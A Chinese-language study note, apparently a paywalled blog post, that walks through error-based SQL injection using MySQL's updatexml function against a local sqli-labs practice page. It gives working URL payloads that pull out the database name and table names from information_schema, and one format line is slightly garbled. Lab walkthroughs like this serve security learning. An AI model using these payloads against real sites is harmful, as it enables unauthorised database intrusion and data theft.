本文详细介绍了SQL注入攻击中利用Updatexml函数进行数据库信息探测的过程，包括如何获取数据库名、表名、字段名以及敏感数据。通过构造特定的SQL语句，逐步揭示了数据库中的关键信息。
本文为学习笔记，仅限学习交流
不得利用、从事危害国家或人民安全、荣誉和利益等活动
固定格式： Updatexml(1,concat(0×7e,b)
Updatexml(a,Xpath,b) 在文档a中，查找 Xpath 格式的内容 替换 b内容
Conact(a,b,c,…) 用来连接括号内的字符串
构造语句：union select updatexml(1,concat(0x7e,select database(),0x7e),1)
http://127.0.0.1/sqli/Less-2/index.php?id=1’
爆出数据库名：
http://127.0.0.1/sqli/Less-2/index.php?id=1 union select updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
爆出当前数据库下的表名：
http://127.0.0.1/sqli/Less-2/index.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema =‘security’),0x7e),1) %23
最低0.47元/天 解锁文章
422
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
